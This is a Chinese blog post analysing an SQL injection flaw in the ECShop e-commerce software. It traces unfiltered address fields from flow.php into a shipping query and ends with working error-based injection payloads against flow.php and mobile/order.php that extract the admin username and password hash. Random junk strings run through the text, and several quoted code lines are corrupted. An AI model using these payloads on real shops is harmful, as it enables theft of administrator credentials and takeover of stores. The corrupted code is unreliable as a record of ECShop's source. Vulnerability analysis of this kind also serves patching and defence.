ecshop全版本注入分析

admin

前段时间大概2012年圣诞节左右，在t00ls上看见ecshop全版本注入，当时也下载了最新的程序分析了下,最近考试比较忙，今天刚考完，把我分析的记录下来。

    漏洞关键文件：

    /includes/lib_order.php
3 l; G- a: P4 W) l: r
    关键函数：

- c5 ?$ w: g% z# Z& B! M* f3 j! ~

01     function available_shipping_list($region_id_list)

. K+ W: Q3 T( w8 u  e02 {
) d' x3 c' S7 @* R
# R2 X; e( J% I: l& C0 S03     $sql = 'SELECT s.shipping_id, s.shipping_code, s.shipping_name, ' .
. t5 _. I: ~6 C4 Y
  \2 f( g) h& t5 O04                 's.shipping_desc, s.insure, s.support_cod, a.configure ' .

05             'FROM ' . $GLOBALS['ecs']->table('shipping') . ' AS s, ' .
- \& c2 f6 }& b5 [  u8 X
06                 $GLOBALS['ecs']->table('shipping_area') . ' AS a, ' .

07                 $GLOBALS['ecs']->table('area_region') . ' AS r '.
; m, n" Z5 k# I$ B! K% L
08             'WHERE r.region_id ' . db_create_in($region_id_list) .

. n" C' e6 B- S, E, T09             ' AND r.shipping_area_id = a.shipping_area_id AND a.shipping_id = s.shipping_id AND s.enabled = 1 ORDER BY s.shipping_order';

10   
; E' N: T& H) ]1 i) [8 J2 F; G
9 o4 l7 e9 ~& @% X& J+ q# _11     return $GLOBALS['db']->getAll($sql);

+ {$ z: Q3 e) A* [: D; M5 t12 }

显然对传入的参数没有任何过滤就带入了查询语句。

下面我们追踪这个函数在flow.php中：
第531行：   

1 $shipping_list     = available_shipping_list($region);
" i: u; [3 z. F! y
& x& N6 |( ?" t5 l9 P  E3 L
! s# j/ }/ N* A; \* A. ?) Z
' t3 x6 j' s/ w# F4 Z

( T. r- m7 c$ z( a再对传入变量进行追踪：
  V4 H. f* f$ i0 D
第530行：   
+ o* {0 k) c+ j1 k) Z6 K( }0 V/ A
, h# r& e" r8 q# F1 $region = array($consignee['country'], $consignee['province'],$consignee['city'], $consignee['district']);
3 K8 Z5 u6 {7 k1 K' w( `1 r


9 C: v9 {2 Z" V" f' m
5 K9 W4 {$ h! \* S
+ N$ h* ?0 [# N/ a: E. R第473行：        

( s9 j1 X9 W# A) T. ~* b0 p1 $consignee = get_consignee($_SESSION['user_id']);

到了一个关键函数：
( b0 p1 |; J; H/ f! p5 k
/includes/lib_order.php
8 A+ s9 ~; o9 ^+ E+ W  b, n
8 V6 b" r2 x$ B- g! e
/ a, `+ A1 o% \8 }
( e  L0 Y3 k3 ~

. h6 |0 J# k0 W& y" C) |. ?01 function get_consignee($user_id)

02 {

! x" n; b$ N1 R# g) n0 ^03     if (isset($_SESSION['flow_consignee']))
( s( s# t, C4 }/ H+ v8 |
04     {
" k3 Z; w+ T# @; U3 b  h) @4 Z
# N* S5 g+ S: c. k) Q. q/ k05         /* 如果存在session，则直接返回session中的收货人信息 */
8 t: {/ i2 [( ?# b) Q1 ^* S/ T, s2 B( \
& o& n4 l7 d. ^) S* N# ^" {06   
2 e2 @" h% F" W: P! N7 R3 }
07         return $_SESSION['flow_consignee'];

08     }

" o$ X3 U: k' d7 ~. ]: S09     else

10     {

11         /* 如果不存在，则取得用户的默认收货人信息 */

12         $arr = array();
: x6 n( C" h9 q) {/ S. M- P; q- T5 b+ _
& G& X1 @5 G, ]# W8 q0 i13   
7 K) n& Z8 E. D9 i/ p  m
14         if ($user_id > 0)

15         {
2 h9 c9 l" ?9 X% p  j2 R% e" U
" k( t" x# e( b% o% \  r16             /* 取默认地址 */
* ~* `7 x3 v; B- }2 v& ?/ ]
17             $sql = "SELECT ua.*".
  F- f% t5 S1 b2 g5 z, {5 [, C
/ m) |# I) t. G+ M' j, }$ [4 q18                     " FROM " . $GLOBALS['ecs']->table('user_address') . "AS ua, ".$GLOBALS['ecs']->table('users').' AS u '.

19                     " WHERE u.user_id='$user_id' AND ua.address_id = u.address_id";

, E4 G; t: U6 v& c3 {  b% |20   

21             $arr = $GLOBALS['db']->getRow($sql);

3 n) t* @4 Z. ~1 u8 G- a6 U22         }

23   

5 R! D0 o; {: T2 ~, E/ O8 G0 B. p24         return $arr;
5 \3 G) x! C( ]) e! P3 D0 n7 Q. }
25     }

26 }

显然如果 isset($_SESSION['flow_consignee']存在就直接使用。到底存不存在呢？
0 G! P) Q! b' o5 ^! C3 j
3 b6 S3 m$ c1 q

关键点:

第400行：    $_SESSION['flow_consignee'] = stripslashes_deep($consignee);

这里对传入参数反转义存入$_SESSION中。

7 k! g, h8 N" r/ L# A4 ?

然后看下：



! k9 z1 ^3 P# ^1 t" F   

01 $consignee = array(
' y/ _" Q' O' _$ r( e' T: l
02         'address_id'    => empty($_POST['address_id']) ? 0  :intval($_POST['address_id']),
. j% ]* ?! o2 x# z( V5 ^
03         'consignee'     => empty($_POST['consignee'])  ? '' : trim($_POST['consignee']),
" U4 {) l1 R6 ]! ~7 z
04         'country'       => empty($_POST['country'])    ? '' _POST['country'],
9 a  }- d$ X9 m( {3 p
05         'province'      => empty($_POST['province'])   ? '' _POST['province'],
  h) q' h4 M5 B. H8 B+ |" T9 k
06         'city'          => empty($_POST['city'])       ? '' _POST['city'],
+ |+ e) @  Q$ L0 M4 o/ w2 h
07         'district'      => empty($_POST['district'])   ? '' _POST['district'],

08         'email'         => empty($_POST['email'])      ? '' _POST['email'],
0 q/ O4 e* i7 w# Q( v/ O& Z. M- {
09         'address'       => empty($_POST['address'])    ? '' _POST['address'],

- x9 J! o- a9 V3 n# b# B10         'zipcode'       => empty($_POST['zipcode'])    ? '' : make_semiangle(trim($_POST['zipcode'])),

$ u3 y% s' h2 P2 T$ J11         'tel'           => empty($_POST['tel'])        ? '' : make_semiangle(trim($_POST['tel'])),
& |- l* F, `* k4 X! w# k
12         'mobile'        => empty($_POST['mobile'])     ? '' : make_semiangle(trim($_POST['mobile'])),
; e8 y2 h( L6 U7 J5 H4 |4 F* O
3 s. D  b( E" |% L- I: w$ e13         'sign_building' => empty($_POST['sign_building']) ? '' _POST['sign_building'],
5 d  ]/ e  f* }! t% L
14         'best_time'     => empty($_POST['best_time'])  ? '' _POST['best_time'],

8 m" ?/ P2 W+ E; a1 k15     );

好了注入就这样出现了。
* Q4 v& {) Z8 X' f% z
==================

- w5 U! y& y/ T: G* R注入测试：

5 t2 L3 e9 W7 F8 _" p0 R- `! ^) l环境:windows7+xampp1.7.7(Apache2.2.21+Php 5.3.8+Mysql 5.5.16)
3 _7 h0 ], B5 f1 z: z7 o* Q1 z
测试程序：ECShop_V2.7.3_UTF8_release1106

3 ^! a0 y0 [. v* Y. v( n+ H

' L3 R. O. H+ _8 p1.首先需要点击一个商品加入购物车

* _1 ~4 U* [. k- `2.注册一个会员帐号
' p* O( {$ _5 ?  i
3.post提交数据
# a4 z$ ~6 E* l


1 http://127.0.0.1/ecshop/flow.php
- K6 v" p5 l0 ]" U6 v
2   

3 country=1&province=3') and (select 1 from(select count(*),concat((select (select (SELECT concat(user_name,0x7c,password) FROM ecs_admin_user limit 0,1)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) and 1=1 #&city=37&district=409&consignee=11111&email=11111111%40qq.com&address=1111111111&zipcode=11111111&tel=1111111111111111111&mobile=11111111&sign_building=111111111&best_time=111111111&Submit=%E9%85%8D%E9%80%81%E8%87%B3%E8%BF%99%E4%B8%AA%E5%9C%B0%E5%9D%80&step=consignee&act=checkout&address_id=
举一反三，我们根据这个漏洞我们可以继续深入挖掘：
, o: }8 `' K3 f1 f* A8 i& M
我们搜寻关键函数function available_shipping_list()

* w2 \5 i1 e  l8 i5 _$ ?在文件/moblie/order.php中出现有，次文件为手机浏览文件功能基本和flow.php相同，代码流程基本相同

利用exp:

1.点击一个商品，点击购买商标

0 V* h3 o! _. l8 M+ ^' Q2.登录会员帐号

3.post提交：

7 U4 R4 d5 M' p3 l) E$ nhttp://127.0.0.1/ecshop/mobile/order.php

" F4 L8 o$ L( [- s: `& D6 f

- v5 E' C. @0 B" [! ucountry=1&province=3') and (select 1 from(select count(*),concat((select (select (SELECT concat(user_name,0x7c,password) FROM ecs_admin_user limit 0,1)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a) and 1=1 #&city=37&district=409&consignee=11111&email=11111111%40qq.com&address=1111111111&zipcode=11111111&tel=1111111111111111111&mobile=11111111&sign_building=111111111&best_time=111111111&Submit=%E9%85%8D%E9%80%81%E8%87%B3%E8%BF%99%E4%B8%AA%E5%9C%B0%E5%9D%80&&act=order_lise&address_id=
& b3 f/ S! v0 Z- D/ x( H